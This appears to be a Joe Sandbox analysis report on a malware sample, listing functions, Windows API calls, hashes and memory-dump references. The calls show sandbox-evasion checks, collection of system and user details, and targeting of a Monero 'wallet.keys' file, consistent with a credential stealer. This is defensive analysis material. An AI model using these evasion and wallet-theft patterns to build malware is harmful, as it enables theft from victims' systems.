Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: b09f6ea49f702052a4e8c212086347bff861cdaec60cb864d35a38f422e5519b
Instruction ID: e68fff37dd963fe8df53c0cd0e1382272746f78934e612c7d0577ef8c150e5c2
Opcode Fuzzy Hash: b09f6ea49f702052a4e8c212086347bff861cdaec60cb864d35a38f422e5519b
Instruction Fuzzy Hash: E1310AB4A40218ABDB20CF54DC89BDDB7B4FB48704F1081D8EA09A7281D7746AC5CF99

Function 005783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00578426
wsprintfA.USER32 ref: 00578459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0057847B
RegCloseKey.ADVAPI32(00000000), ref: 0057848C
RegCloseKey.ADVAPI32(00000000), ref: 00578499

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

RegQueryValueExA.KERNEL32(00000000,0044F0D0,00000000,000F003F,?,00000400), ref: 005784EC
lstrlen.KERNEL32(?), ref: 00578501
RegQueryValueExA.KERNEL32(00000000,0044EFC8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00580B34), ref: 00578599
RegCloseKey.KERNEL32(00000000), ref: 00578608
RegCloseKey.ADVAPI32(00000000), ref: 0057861A

Strings

%s\%s, xrefs: 0057844D

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 0f74d2c99e9fb5e0d79a2920ecc8b27c56280adbc7b4163e0b1ac72aab1c60f3
Instruction ID: 1501ee387fcaa821ac314ea89b9e6281a887c4c182b26123f8c47be931985d37
Opcode Fuzzy Hash: 0f74d2c99e9fb5e0d79a2920ecc8b27c56280adbc7b4163e0b1ac72aab1c60f3
Instruction Fuzzy Hash: A921E97195021CABDB64DB54DC85FE9B7B8FB88700F00C5D8E609A6180DF756A85CFD4

Function 00577E00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577E37
RtlAllocateHeap.NTDLL(00000000), ref: 00577E3E
RegOpenKeyExA.KERNEL32(80000002,0043C1B8,00000000,00020119,?), ref: 00577E5E
RegQueryValueExA.KERNEL32(?,0044E7E0,00000000,00000000,000000FF,000000FF), ref: 00577E7F
RegCloseKey.ADVAPI32(?), ref: 00577E92

Strings

D, xrefs: 00577E74

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: D
API String ID: 3225020163-193714618
Opcode ID: 831b1b4233f08f6c673e6f155da272a3d266e28e92b48e16380bf98da507e76c
Instruction ID: 8c6af30cea3d2fa0c77dc691673d53f7c1af11356491d4ae086a42dea87eb9a0
Opcode Fuzzy Hash: 831b1b4233f08f6c673e6f155da272a3d266e28e92b48e16380bf98da507e76c
Instruction Fuzzy Hash: F8116AB1A44209FBD700CB94EC49FBBBBBCFB49B00F108119FA09A7280D7785804CBA1

Function 00577690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005776A4
RtlAllocateHeap.NTDLL(00000000), ref: 005776AB
RegOpenKeyExA.KERNEL32(80000002,0043C308,00000000,00020119,00000000), ref: 005776DD
RegQueryValueExA.KERNEL32(00000000,0044F010,00000000,00000000,?,000000FF), ref: 005776FE
RegCloseKey.ADVAPI32(00000000), ref: 00577708

Strings

Windows 11, xrefs: 005776BD

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ab9e54505057cf498ddbf3a75c7a907ca56dd556cc0eac82d6eafce628e623e8
Instruction ID: d6de44da7b5bd71f261e53011aeeb92ed916f6a940696b7ae94ffa200b4f6877
Opcode Fuzzy Hash: ab9e54505057cf498ddbf3a75c7a907ca56dd556cc0eac82d6eafce628e623e8
Instruction Fuzzy Hash: 66014FB5A04308BBDB04DBE4EC49F6EBBB8EB89701F10C454FA0597290D7789904DB55

Function 00577720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577734
RtlAllocateHeap.NTDLL(00000000), ref: 0057773B
RegOpenKeyExA.KERNEL32(80000002,0043C308,00000000,00020119,005776B9), ref: 0057775B
RegQueryValueExA.KERNEL32(005776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0057777A
RegCloseKey.ADVAPI32(005776B9), ref: 00577784

Strings

CurrentBuildNumber, xrefs: 00577771

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 482e79c808f56633015848a059f457209663a1e683d836400126319254931199
Instruction ID: b20e77ec38dd650415be314d83583786af60fa3b335df2dfa4d43f950cfe582a
Opcode Fuzzy Hash: 482e79c808f56633015848a059f457209663a1e683d836400126319254931199
Instruction Fuzzy Hash: DF0144B5A40308BBDB00DBE0DC49FBEB7B8EB88701F008154FA05A7281D7785500CB55

Function 005769F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442438), ref: 005798A1
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442450), ref: 005798BA
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442468), ref: 005798D2
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442480), ref: 005798EA
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442270), ref: 00579903
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00448FC8), ref: 0057991B
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,004354D0), ref: 00579933
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00435310), ref: 0057994C
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,004424E0), ref: 00579964
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,004424C8), ref: 0057997C
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442348), ref: 00579995
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,004424F8), ref: 005799AD
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,004352F0), ref: 005799C5
Part of subcall function 00579860: GetProcAddress.KERNEL32(76E00000,00442510), ref: 005799DE

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 005611D0: ExitProcess.KERNEL32 ref: 00561211

Part of subcall function 00561160: GetSystemInfo.KERNEL32(?), ref: 0056116A
Part of subcall function 00561160: ExitProcess.KERNEL32 ref: 0056117E

Part of subcall function 00561110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0056112B
Part of subcall function 00561110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00561132
Part of subcall function 00561110: ExitProcess.KERNEL32 ref: 00561143

Part of subcall function 00561220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0056123E
Part of subcall function 00561220: __aulldiv.LIBCMT ref: 00561258
Part of subcall function 00561220: __aulldiv.LIBCMT ref: 00561266
Part of subcall function 00561220: ExitProcess.KERNEL32 ref: 00561294

Part of subcall function 00576770: GetUserDefaultLangID.KERNEL32 ref: 00576774

Part of subcall function 00561190: ExitProcess.KERNEL32 ref: 005611C6

Part of subcall function 00577850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005611B7), ref: 00577880
Part of subcall function 00577850: RtlAllocateHeap.NTDLL(00000000), ref: 00577887
Part of subcall function 00577850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0057789F

Part of subcall function 005778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577910
Part of subcall function 005778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00577917
Part of subcall function 005778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0057792F

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00449068,?,0058110C,?,00000000,?,00581110,?,00000000,00580AEF), ref: 00576ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00576AE8
CloseHandle.KERNEL32(00000000), ref: 00576AF9
Sleep.KERNEL32(00001770), ref: 00576B04
CloseHandle.KERNEL32(?,00000000,?,00449068,?,0058110C,?,00000000,?,00581110,?,00000000,00580AEF), ref: 00576B1A
ExitProcess.KERNEL32 ref: 00576B22

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 86b75a7558462fb4bbd5490f4c75deabeedde07ea834e6943b6c1a1380e32cb9
Instruction ID: 54bcae43033bf5da4f6b3ac2c3e602d9d247e3ecdd12e3e8a576095d299de05b
Opcode Fuzzy Hash: 86b75a7558462fb4bbd5490f4c75deabeedde07ea834e6943b6c1a1380e32cb9
Instruction Fuzzy Hash: 1F310E7190010AAADB04FBB0EC5AAFE7F78BFC5340F10C518F61AA6191DF745905E7A6

Function 005699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00569A11
LocalAlloc.KERNEL32(00000040,?), ref: 00569A31
ReadFile.KERNEL32(000000FF,?,00000000,0056148F,00000000), ref: 00569A5A
LocalFree.KERNEL32(0056148F), ref: 00569A90
CloseHandle.KERNEL32(000000FF), ref: 00569A9A

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 9b426f6cb016dbe81a44b26bbdfdbcef63039a1ac152e5c291743b09076e24f7
Instruction ID: f098adb43e2c2394f43525629f0e1cd039356f60627a326e3637f31a5c857b0f
Opcode Fuzzy Hash: 9b426f6cb016dbe81a44b26bbdfdbcef63039a1ac152e5c291743b09076e24f7
Instruction Fuzzy Hash: 73311C74A00209EFDB14CF94D985BAE7BF9FF89340F108158E915A7390D778A941CFA1

Function 0056D780 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00578B60: GetSystemTime.KERNEL32(00580E1A,0044A8A8,005805AE,?,?,005613F9,?,0000001A,00580E1A,00000000,?,00449188,?,\Monero\wallet.keys,00580E17), ref: 00578B86

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0056D801
lstrlen.KERNEL32(00000000), ref: 0056D99F
lstrlen.KERNEL32(00000000), ref: 0056D9B3
DeleteFileA.KERNEL32(00000000), ref: 0056DA32

Strings

PD, xrefs: 0056D796

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
